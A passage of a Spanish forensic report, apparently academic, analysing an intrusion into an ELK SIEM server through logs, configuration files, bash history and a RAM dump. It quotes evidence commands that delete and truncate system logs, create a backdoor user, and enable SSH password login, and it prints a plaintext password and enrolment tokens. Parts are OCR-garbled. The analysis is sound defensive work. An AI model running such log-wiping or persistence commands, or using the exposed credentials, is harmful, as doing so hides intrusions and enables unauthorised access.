Impacto en la seguridad

Intentos fallidos: no se detectaron inicios de sesion exitosos.

Riesgos potenciales:

Si no se bloquea la IP, continuara intentando acceder.

Puede saturar logs y alertas SIEM.

Intentos sobre usuarios validos (elk) podrian dar acceso si la contrasefia fuera débil.
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auth.log
Figura 164

Captura del registro del archivo auth.log

Siringa Extescted Tt Translation
Pagee 1 of 70 Page — 3 Il.llﬂillﬁhplgt'lbf?-l-llﬂd- s 1m_ﬁ,ﬁl Rl Test Source  Seach Results -
025-12-01T 121:57.B05602-05:00 ik sshdl IB]T]: Unabie to megotihe with 142, 16810015 poit 34290 o matching haost kql Type ¢ found. Theeir offien sshedss [preauti] A
2025-12-T1 121580571 71-05:00 ek sshd[ 1B0ST: Unsblie to negotiste with 102,168 10015 port 34306 no matching host key type found, Their offer, sch-rss [preauth]

2025 12-01TT 215 5183 15-05:00 #lk sshd[ 111} Connscticn cledad by 192,158, 000.15 paat 34318 [piaauth]

20251201 T 12156 AT1 13-05:00 ek sshid 1E12): Unable to megoborbe with 192,188 100.1% post 14334 no mstching host key typee found. Their offer: sodsa-shal-nisip384 [preauth]
2025-12-0T1 1150934731 -05:00 elic sshd[ 151 5] Uinsble to negotisbe with 192,168 180.15 port 14136 no mastching host key type found, Their offen scdse-shal-nistpS [presuth]
2025-12-0T1 1:21:55.381183-05:00 ek sshd[ VBT TE Connection diosed by 192.168. 800,15 port 34348 [preauth]

035-12-01TT 1250, 3142341 -05:00 wlk CRON[1B22]: pamy x| cron:smsion]: seasion opsred for wier oct{uid=0} by roctiusd=0)

2025-12-01 11250131 7380-05:00 elk CROM[1822): pam_eree|cron:session|: session closed for user root

2025-12-01T1 12 6. 81801 2~05000 ek sshd[ 134} Invalid user stacante from 192.168.100.15 port 60250

2025-12-0T1 2Bl 6 B2 11-05:00 ek sshd[ HEG4]: Recenned disoonnect from 192 1660 100.15 port 602501 1; Bye Bye [preauth]

2025 12-01T1 12 B4 6 BABEST-05:00 alk auhd[ 1E34} Diicennactad fram ivvalid user stacants 192,168 1001 % peit S50 |prasmth]

20251201 T1 12847, 1249343~ 05:00 ke sehid| 1E3E]: Invalid user seacanbe fream 192 188100.15 pest 80248

2025-12-0T1 1271 32095~ 05:00 ke sshd 1E3E}: Invalid user stacanbe from 192 180.180.15 port 60270

225 12-TV R80T, 1 38509 -05:00) elk sshd[ 1E36} pam_unim|sshd-auth): check pasy, user unkngwn

2025 M2-01TTE2BAT. 1 347340500 alk suhd| 1E36} pamn_uninishd-auth): authantication failure: lag = guid=0ty=mik ruer= thedt= 152 162.100.15
202%-12-01T11:28:47,139318-05:00 elk sshd| 1E3E]}: pam_unisssha:auti): check pass, uses unkmsven

2025-12-01T1 12847, 1 394 74~ 015200 ek sshd[ 1E3E]: pam_unixsshdsauth): authentication faibere legnames wsds( euids 0 thyssh nusers thosts 132068100013
2025-12-01T1 28T, 1423 26-05:00 ek sshd[ VE3ST Invalidl wser stacanbe from 192 166.100.15 port 60276

2025 M2-01TTE-2BAT. 142 T32-05:00 alk ashd[ 1E3TE Invahd wisr stacants Trem 192,188 100.15 port 0368

202%12:01 T 12847, 1471 12-05:00 ik sshd| 1E35): pam_unixischi-auti): chack pasy, uses unkmesn

2025-12-01T1 12847 147210-05:00 ke sshd[ 1E38): pam_uniwschdeauti): suthentication failre legnames wids( suids 0 thys shi nusers thosts 15206100015
2025-12-T1 28T, 14T263-05:00 elk sshd[ 1E3TE pam_unimisshdauth: check pass, user unkngawn

2025-12-01T1 12847, 147302-05:00 wlk sshd| 1E3T} pamn_unis{sthdauthl: authantication fadure: § wid=0 wuid=0 ty=iih ruiers thedt=152.163. 100,15
202%-12-01T1 12845, 337807-05:00 ek sshd| 1E36]): Failed passvenrd Tor invalid user stacante from 1!1118..10.'!.1! oot B0E38 sshi

225120 T1 12842 352 TE8-05:00 edkc sshd[1238]: Failed password for invalid user stacante from 192 068,900,135 post 80270 ssh2

2025-12-01T1 128454001 95-05:00 ek sshd| VEGST Failed pesvwenrd for invalid user stecente from 192168, 000,15 poet 0276 13h2

J025-13-01T112BARA01 185-05:00 wlk ashd| 1E3TE Failed panaveard Ter invalid wisr stacants from 152,168, 100,15 pont B0258 ishd

20251201 T1 12891, 1 02 - 015:00 ek sshid[ 1E36): pam_unisssho-auth): check pass, user unkmovwn

2025-12-01T1 128051, 1803 30-05:00 ek sshd[ 1538} pam_unixsshiauth): check pass; user unkmown

2025 12-0T 2851, 1908 10-05:00 elk sshd[ 137} pam_unimschd-auth): check pasy user unkrcan

20250201 R2B51. 150003-05:00 alk sshd[ 135} pam_unislsihdauth): check pask; uisr unkeswn

20051200 T 12842 970523-08:00 elk sshd| 1536} Faibed pasoword for invalid user stacarte from 152 148.000.13 poat 80236 ssh2

JD.!S- 12-3T11 _!&515!.1 10d-05:00 el sshdl IHI!]: Failed pmﬂ for invalid user stecante from 19216& II!I} 15 p-n-rt EDZ"'D ssh2

Figura 165

Salida de pipeline.js
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Realizando el analisis respectivo y mediante la busqueda con la ayuda del keyword
list localizamos las credenciales he ingresamos a /etc/Kibana y encontramos que hay un

riesgo critico de seguridad:

Exposicion de credenciales

elasticsearch.username: "kibana system"

elasticsearch.password: "elkstackG7"

Esto significa que la contrasefia de acceso a Elasticsearch esta en texto plano

dentro del archivo de configuracion.

Si alguien tiene acceso a este archivo, puede conectarse a Elasticsearch con

privilegios de sistema, potencialmente leer o modificar todos los indices.

Servidor expuesto a toda la red

server.host: 0.0.0.0

Esto hace que Kibana escuche en todas las interfaces de red, no solo localhost.

Combinado con la contrasefia en texto plano, cualquiera que llegue al puerto 5601

podria intentar conectarse.

Esto es especialmente peligroso si la maquina tiene acceso publico a Internet.

Otros puntos a revisar (menos criticos en este momento)
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SSL esta deshabilitado:

#server.ssl.enabled: false

Las conexiones son sin cifrado, por lo que las credenciales podrian interceptarse si

alguien se conecta desde otra maquina en la red.

No hay configuracién de firewall ni restriccion de IP.

Este archivo si contiene informacion sensible que podria ser explotada.

Si Kibana esta accesible desde la red, un atacante podria usar:

kibana system / elkstackG7 para conectarse a Elasticsearch.

Leer, modificar o borrar indices.

Posible escalada dentro del stack ELK.

Figura 166

Evidencia de informacion sensible en archivo

L St fourrer | Fia Taat




Analisis Forense Digital de un SIEM no WAZUH 147

Dentro de la estructura del analisis forense se encontraron evidencias que nos dan

indicios claras y sospechosos de usuarios creados posiblemente sin autorizacion.

Buscamos en la ruta /home/ encontramos dos usuarios creados en el SIEM elk y

atacanteg?7, el usuario principal y el usuario sospechoso.

Procedemos analizar el usuario creado posiblemente sin autorizacion.

La linea:

atacanteg?7 ALL=(ALL) NOPASSWD: /bin/systemctl start kibana,
/bin/systemctl stop kibana, /bin/systemctl start elasticsearch,

/bin/systemctl stop elasticsearch

Nos indica:

Usuario al que aplica atacanteg7

Esta regla aplica solo al usuario atacanteg?.

Desde donde puede usarla ALL

Este usuario puede ser ejecutado desde cualquier host.

Este usuario puede ejecutar los comandos ALL

Puede ejecutar los comandos como cualquier usuario, incluso como root:
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sudo -u root

Aparentemente sin pedir contrasefia NOPASSWD

Qué comandos especificos pueden ser ejecutados

/bin/systemctl start kibana
/bin/systemctl stop kibana
/bin/systemctl start elasticsearch

/bin/systemctl stop elasticsearch

Esto da permiso a atacanteg7 para ejecutar comandos, por ejemplo:

sudo systemctl start kibana
sudo systemctl stop kibana
sudo systemctl start elasticsearch

sudo systemctl stop elasticsearch

Implicaciones de seguridad

Aunque no hay “claves expuestas”, esta regla si:

Permite a ese usuario controlar la disponibilidad y solo puede ejecutar exactamente

esos comandos:

Kibana

Elasticsearch
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No le da permisos completos de root, pero al detener Elasticsearch puede causar
pérdida temporal de disponibilidad, interrumpir recoleccion de logs, detener aplicaciones

dependientes, afectar a Kibana indirectamente.

Figura 167

Bash history en Elasticsearch
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El usuario principal lhomelelk, Procedemos analizar el usuario

En este usuario se puede analizar y evidenciar las vulnerabilidades expuestas como

son:

Contrasefas expuestas del usuario elastic (Elasticsearch)

Se encontraron multiples comandos donde se exponen las contrasenas:

Contrasena expuesta: elkstackG7

Aparecen en:

-E output.elasticsearch.password="elkstack G7"

curl -u elastic:elkstackG7
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curl -u elastic:elksatckG7

Incluso aparece mal escrita en una linea del comando:

curl -u elastic:elksatckG7

Se encontraron Tokens de enrolamiento y service-tokens expuestos (Fleet / Elastic
Agent)

Tokens expuestos:

Token 1 (enrollment token)

--enrollment-token

a013TDJwb0JQSWZiVk45RJROIDM6AVVKNWRERCIGRTINSVQS5VE1zS1ZHUQ==

Token 2 (service token para Fleet)

--fleet-server-service-

token=a013TDJIJwb0JQSWZiVk45RJROADM6AVVKNWRtRCIGRTINSVQ5VE1zS1ZHUQ==

Token 3 (otro service-token generado varias veces)

AAEAAWVSYXNOaWMvZmx1ZXQtc2VydmVyL2ZsZWVOLTE6CcVNZSEhRVIRRNDIDMmc1TjBEU

3BMdw

Enroliment tokens de Kibana

./bin/elasticsearch-create-enrollment-token -s kibana

Service tokens creados y listados en texto plano
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/usr/share/elasticsearch/bin/elasticsearch-service-tokens create

elastic/fleet-server fleet-1

Tabla 3

Resumen de claves expuestas

TIPO VALOR EXPUESTO SE USAEN
CONTRASENA ELASTIC elkstackG7 Curl, Filebeat,
SUPERUSUARIO Logstash
VARIANTE MAL ESCRITA elksatckG7 Curl
TOKENS DE ENROLAMIENTO alI3TDJwb0JQSWZi... Elastic Agent
(FLEET)
SERVICE TOKENS (FLEET AAEAAWVsYXNOaWMuv... Fleet Server
SERVER)
CONTRASENA PLACEHOLDER TU_CLAVE curl (si es real, esta
expuesta)
Impacto de seguridad
Estas credenciales permiten:
v Acceder a todo Elasticsearch con privilegios de superusuario.
v Registrar o manipular agentes en Fleet.
v Administrar logs, pipelines y datos.

v Potencialmente comprometer toda la infraestructura ELK.
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Figura 168

Evidencia de impacto de seguridad

Encontramos evidencia de que se utiliz6 msfconsole, esto quiere decir que el SIEM

estaba bajo ataques

ESTADO ACTUAL: ALTAMENTE SOSPECHOSO

Ademas del Metasploit Framework, el sistema tiene muchos paquetes Snap

instalados, pero en particular solo uno es una herramienta de ataque: metasploit-framework.
Esto NO ocurre en un sistema limpio, ya que esto por si solo indica que ya fuimos
atacados, estos indicios se dan o nos indica que hubo actividad sospechosa fuerte, debido

a que Metasploit no se instala solo.

Un atacante lo usa para:

v Escalar privilegios

v Explotar servicios locales
v Instalar backdoors

v Lanzar payloads

v Persistir
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Metasploit Framework instalado esto NO es normal

Estos son los binarios peligrosos detectados:

v msfconsole
v msfvenom
v msfrpc

v msfrpcd

v msfbinscan

v msfd

v msfdb

v msfelfscan

v msfmachscan
v msfpescan

4 msfrop

4 msfupdate

Figura 169

Binarios peligrosos detectados
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Exploramos mas intensamente y detectamos Meterpreter Reverse Shell

Nombre: Potential Meterpreter Reverse Shell

Objetivo: Detectar actividad de Meterpreter en sistemas Linux. Meterpreter es un

payload de Metasploit que permite a los atacantes ejecutar comandos y scripts de manera

remota.

Comportamiento tipico detectado:

Acceso a archivos criticos de configuracion y red, tipicos de fingerprinting del

sistema:
v /etc/machine-id
v letc/passwd
v /proc/net/route
v /proc/net/ipv6_route
v /proc/net/if_inet6

Posible sefial de un reverse shell activo o preparacion de comandos remotos.
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Figura 170

Posible sefnal de un reverse shell activo
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Este ataque describe una técnica de fuerza bruta de contrasefias, en la que el
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IP en particular.

La técnica MITRE ATT&CK se utiliza para este ataque

Figura 171

Ataque con MITRE ATT&CK
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5. Andlisis Forense de la RAM memdump.lime con Volatility3

Primero ejecutamos el comando:

ython3 vol.py -f /home/kali/Documentos/memdump.lime linux.pslist

Verificamos el listado de procesos de la memoria LIME y extraemos la informacion

del kernel y de los procesos activos.

Procesos Sospechosos Detectados

A continuacion, enmarcamos solo los procesos que NO deberian estar normalmente

en un sistema Linux limpio o que presentan indicios fuertes de manipulacién, backdoor o

rootkit:

Procesos psimon (PID 522 y 1423)

Psimon no es un proceso estandar de Linux, suele asociarse a herramientas

corporativas de monitoreo agentes de telemetria no oficiales malware que registra actividad

del sistema

Multiples procesos Java sospechosos

Procesos:

PID 986 — java (UID 999/988)

PID 990 — java (UID 110)

PID 1612 — java (UID 110)
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PID 1639 — controller (UID 110)

El proceso controller hijo de “java” es extremadamente raro.

Esto coincide con malware basado en:

web backdoors en Java

controladores remotos

cryptominers ocultos

C2 construido en Java

ALTAMENTE SOSPECHOSO.

Conexiones SSH anomalas

Procesos:

sshd (1854)

sesion remota sshd (2229)

login shell bash (2284)

Esto es normal si se conecta por SSH el personal autorizado.

Pero si NO es asi puede ser acceso remoto no autorizado.
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Procesos con EGID = 2147483648

Los procesos:

PID 3520

PID 3522

Tienen:

EGID = 2147483648 es una valor imposible, fuera de rango

Esto frecuentemente indica:

Manipulacién de credenciales en memoria, intento de ocultar privilegios, rootkits que

alteran estructuras de tareas, corrupcion de memoria causada por un médulo malicioso

cargado.

Esto es EXTREMADAMENTE SOSPECHOSO.

Uso de “insmod” (PID 3516)

PID 3516 — insmod

Este proceso carga médulos del kernel, si el personal autorizado no cargo un

maodulo manualmente en ese momento puede ser un rootkit o médulo malicioso.

Luego aparece muchisima actividad de kworker lo cual podria indicar un médulo

alterado.
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El sistema presenta varios indicadores de compromiso severo:

> Procesos no estandar (psimon)

> Multiples procesos Java con usuarios extranos

> Proceso “controller” hijo de Java

> Sesiones SSH que podrian ser externas

> IDs imposibles (2147483648) — manipulacion o rootkit
> “‘insmod” ejecutado justo antes de anomalias

®

< Verificamos en el Anexo la Tabla 10

Archivos ejecutados recientemente esto puede ser un indicador de malware.

Para ello ejecutamos el comando:

python3 vol.py -f /home/kali/Documentos/memdump.lime linux.bash

Esta ejecucion nos indica que comandos fueron utilizados en qué fecha y a qué

hora, los parametros mas destacados son:

Comandos relacionados con Elasticsearch

Incluyen:

Crear/borrar indices:

curl -X DELETE "localhost:9200/otherbeats-2025.11.29"
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curl -X GET "localhost:9200/ cat/indices?v"

Modificacion de templates:

"number of replicas": 0

"settings": { ... }

Cambios de permisos y directorios:

sudo chown -R elasticsearch:elasticsearch /var/lib/elasticsearch

sudo rm -rf /var/lib/elasticsearch/*

Reinicios:

sudo systemctl start|restart|stop elasticsearch

Cambios del archivo de configuracion:

/etc/elasticsearch/elasticsearch.yml

Esto significa que se estuvo reinstalando, reseteando, configurando y depurando

Elasticsearch.

Logstash

Incluye:

Crear/editar pipelines:
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Beats.

/etc/logstash/conf.d/02-beats—-input.conf
/etc/logstash/conf.d/30-elasticsearch-output.conf

/usr/share/logstash/config/pipelines.yml

Validar configuracion:

logstash -t

--config.test and exit

Permisos y directorios:

sudo chown logstash:logstash /var/lib/logstash

Escuchar puertos 514, 1514, 5044.

Claramente se realizo la configuracion de Logstash como receptor de Syslog y

Kibana

Reinicios frecuentes:

sudo systemctl restart kibana

Cambios al archivo:

/etc/kibana/kibana.yml

161
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Indicador de ajustes tras cambios en Elasticsearch y Filebeat.

Filebeat

Habilitar moédulos:

sudo filebeat modules enable system
Setup de pipelines/indices/dashboards:

sudo filebeat setup

Reinicios:

sudo systemctl restart filebeat

Actividad normal cuando se instala Filebeat para syslogs.

Elastic Agent y Fleet

Comandos como:

Instalacion:

sudo ./elastic-agent install

Uninstall:

sudo /opt/Elastic/Agent/elastic-agent uninstall

Tokens del Fleet Server:
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elasticsearch-service-tokens create elastic/fleet-server

163

Significa que se intentd integrar el servidor con Fleet (Agente unificado de Elastic).

Firewall / Puertos

Aqui se encontré que hay muchos comandos:

Abrir puertos:

sudo ufw

sudo ufw

sudo ufw

sudo ufw

sudo ufw

Redirecciones con iptables:

iptables -t nat -A PREROUTING -p udp --dport 514 -j REDIRECT --to-

port 1514

Todo apunta a que se estaba configurando la recepcion de Syslog en

Logstash/Filebeat.

Limpieza de logs / espacio en disco

Muchos comandos peligrosos:

allow

allow

allow

allow

allow

514 /udp
1514 /udp
5044 /tcp
5601/tcp

9200/tcp
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Borrados de logs:

sudo rm -rf /var/log/elasticsearch/*
sudo rm -rf /var/log/**/*.log

sudo truncate -s 0 /var/log/syslog

Limpiar journal:

sudo journalctl --vacuum-size=500M

sudo rm -rf /var/log/journal/*

Expandir LVM:

sudo lvextend -1 +100%FREE

sudo resize2fs

Se incrementd el espacio en disco y se liberd espacio del sistema probablemente

por un disco lleno que afectd Elasticsearch.

Configuraciéon de SSH

Esto es muy llamativo:

sudo adduser atacanteg’
sudo sed -i 's/*#\?PasswordAuthentication.*/PasswordAuthentication
yes/' /etc/ssh/sshd config

sudo systemctl restart ssh
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Esto despierta alerta de seguridad, alguien creé un usuario llamado atacanteg7

y habilité autenticaciéon por contrasena.

Esto no es parte del mantenimiento de ELK.

Exploracion de red

Nmap:

nmap --script ssh2-enum-algos -sV -p22 192.168.100.71

Esto evalua algoritmos de cifrado SSH de servidores esto puede ser técnico de ser

el caso autorizado si no es el caso esto es sospechoso.

Comandos de diagnéstico comunes

df -h
1sblk
pvs, vgs, 1lvs

netstat -tuln

Diagndsticos normales.

El proceso Bash ejecutoé:

> Instalacion, reconfiguracion y debug intensivo de:
e Elasticsearch

e Logstash
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Kibana

Filebeat

Elastic Agent / Fleet

Cambios en firewall, syslog y puertos
Limpieza masiva de logs y expansion del LVM

Muchas ediciones de configuracion

Potenciales Indicios De Compromiso O Mal Uso

Los siguientes comandos no son normales:

Creacion del usuario:

= adduser atacanteg?

Habilitar login por contrasena en SSH

" PasswordAuthentication yes

Escaneo de servidores SSH con nmap

Eliminacion masiva de logs

rm -rf /var/log/*

Multiples init 6 (reinicios)

166
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Tabla 4

Potenciales indicios de compromiso o mal uso

TREE PID PROCE COMMANDTIME COMMAND

DEPTH SS

0 2284 bash 2025-12-01 sudo chown -R
21:11:16.000000 elasticsearch:elasticsearch
UTC Ivarllib/elasticsearch

0 2284 bash 2025-12-01 sudo apt update
21:11:16.000000

uTC

0 2284 bash 2025-12-01 number_of replicas: 0
21:11:16.000000

uTC

0 2284 bash 2025-12-01 sudo apt install ufw
21:11:16.000000

uTcC

0 2284 bash 2025-12-01 sudo ufw allow 514/udp
21:11:16.000000

uTC

0 2284 bash 2025-12-01 otherbeats-2025.11.29
21:11:16.000000

uTcC

0 2284  bash 2025-12-01 otherbeats-2025.11.30
21:11:16.000000

uTC
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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curl -u elastic:elkstackG7 -X DELETE
"localhost:9200/otherbeats-

2025.11.29"

sudo netstat -tuln | grep 514

sudo netstat -tuln | grep 1514

sudo ufw status numbered

sudo systemctl start filebeat

sudo nano /etc/logstash/conf.d/02-

beats-input.conf

sudo /usr/share/logstash/bin/logstash -t

sudo systemctl stop elasticsearch
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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sudo netstat -tuln | grep 514

sudo iptables -t nat -A PREROUTING

-p udp —-dport 514 -j REDIRECT ~-to-

port 1514

sudo nano /etc/logstash/logstash.yml

sudo apt update && sudo apt install

curl

apt-transport-https -y

df-h/

sudo fdisk -l

Isblk
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000

uTC

2025-12-01
21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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#!/bin/bash

sudo systemctl restart kibana

sudo rm -rf /var/log/*.log /var/log/

*.gz /var/log/*.[0-9]

sudo rm -rf /var/log/**/*.log /var/log/**/

*.gz Ivar/log/**/*.[0-9]

sudo systemctl status logstash

sudo journalctl -u logstash -n 50 --no-

pager

sudo nano /etc/logstash/conf.d/

02-beats-input.conf
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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init 6

[200~Is -l /usr/share/logstash/jdk/lib

sudo netstat -tuln | grep 1514

sudo nano

/etc/elasticsearch/elasticsearch.yml

settings: {

sudo apt update

sudo filebeat setup —pipelines

--modules system

sudo filebeat modules enable system
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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sudo nano /etc/logstash/logstash.conf

sudo netstat -tuln | grep -E '514|1514'

sudo nano /etc/logstash/conf.d/

02-beats-input.conf

sudo rm -rf /var/log/elasticsearch/*

sudo nano /etc/elasticsearch/

elasticsearch.yml

sudo Ivextend -| +100%FREE

/dev/mapper/ubuntu--vg-ubuntu--lv

Detectar filesystem y

redimensionar automaticamente
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01
21:11:16.000000

uTC
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sudo du -h --max-depth=1/

sudo du -h --max-depth=1 /var

sudo rm -f /var/log/*.gz

sudo nano /etc/filebeat/filebeat.ymi

sudo nano /etc/logstash/conf.d/

30-elasticsearch-output.conf

sudo -u logstash
/usr/share/logstash/bin/logstash --
config.test and_exit -f

/etc/logstash/conf.d/
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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sudo mkdir -p /var/lib/elasticsearch

export

LD_LIBRARY_PATH=/usr/share/

logstash/jdk/lib:$LD_LIBRARY_PATH

sudo systemctl restart logstash

sudo -u logstash

/usr/share/logstash/bin/

logstash --path.settings /etc/logstash -t

sudo systemctl start elasticsearch

sudo rm -rf /var/lib/elasticsearch/*

sudo curl -u elastic -X PUT

"http://localhost:9200/ index_template/

default_template" -H "Content-Type:

application/json" -d {
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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sudo chmod -R 750

/var/log/elasticsearch

sudo filebeat setup --index-
management -E
output.logstash.enabled=false -E
output.elasticsearch.hosts=["http://local

host:9200"]

-E
output.elasticsearch.username=elastic
-E
output.elasticsearch.password="elksta
ckG7"

sudo netstat -tuln | grep 1514

sudo netstat -tuln | grep 514

sudo nano /etc/logstash/conf.d/your-

output-file.conf

sudo filebeat modules list
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

sudo mkdir -p /var/log/elasticsearch

sudo chown root:root

/etc/elasticsearch/

elasticsearch.yml

sudo chmod -R 750

/var/lib/elasticsearch

sudo systemctl restart logstash

sudo systemctl status logstash

sudo nano /etc/logstash/logstash.yml

sudo netstat -tuln | grep 1514

sudo netstat -tuln | grep 514

176
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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sudo systemctl status logstash

sudo tail -f /var/log/logstash/logstash-

plain.log

sudo chown -R

elasticsearch:elasticsearch

Ivar/log/elasticsearch

GET /_search?q=":*

sudo ss -tulnp | grep 9200

template: {

sudo rm -rf /etc/elasticsearch/*

curl -X GET

"http://192.168.100.71:9200/

_cat/indices?v"



Analisis Forense Digital de un SIEM no WAZUH

0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000

uTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000

uTC
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sudo chown logstash:logstash

Ivar/lib/logstash

sudo nano /etc/logstash/conf.d/

01-syslog-input.conf

sudo Is -l /var/log/logstash

sudo init 0

sudo apt install libwww-perl

sudo journalctl -u logstash -f

sudo ufw allow 514/tcp
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uUTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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[200~sudo systemctl restart logstash

sudo nano /etc/logstash/conf.d/

priority: 1,

sudo nano /etc/kibana/kibana.ymi

settings: {

sudo apt update

Is -l /etc/logstash/conf.d/

nc -zv <tu-ip> 514

nc -zv 192.168.100.71 514
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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cd ~

curl -L -O https://artifacts.elastic.co/

downloads/beats/elastic-agent/

elastic-agent-8.11.1-linux-
x86_64.tar.gz
tar xzvf elastic-agent-8.11.1-linux-

x86_64.tar.gz

cd elastic-agent-8.19.7-linux-x86_64

sudo ./elastic-agent install

sudo /opt/Elastic/Agent/elastic-agent

uninstall
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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cd ~

curl -X GET

"localhost:9200/ cat/indices?v"

curl -u elastic:elksatckG7 -X GET

"localhost:9200/ cat/indices?v"

sudo Is -l /var/lib/logstash

sudo nano /etc/logstash/conf.d/

30-elasticsearch-output.conf

sudo ufw allow 1514/udp

sudo ufw status verbose

init 6
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
uTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000
UTC

2025-12-01
21:11:16.000000

uTC
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sudo systemctl status logstash

sudo journalctl --vacuum-size=500M

sudo journalctl --vacuum-time=1s

sudo truncate -s 0 /var/log/syslog

sudo truncate -s 0 /var/log/kern.log

sudo truncate -s 0 /var/log/auth.log

sudo mkdir -p

lusr/share/logstash/config

sudo nano /usr/share/logstash/
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0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284
0 2284

bash

bash

bash

bash

bash

bash

bash

bash

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

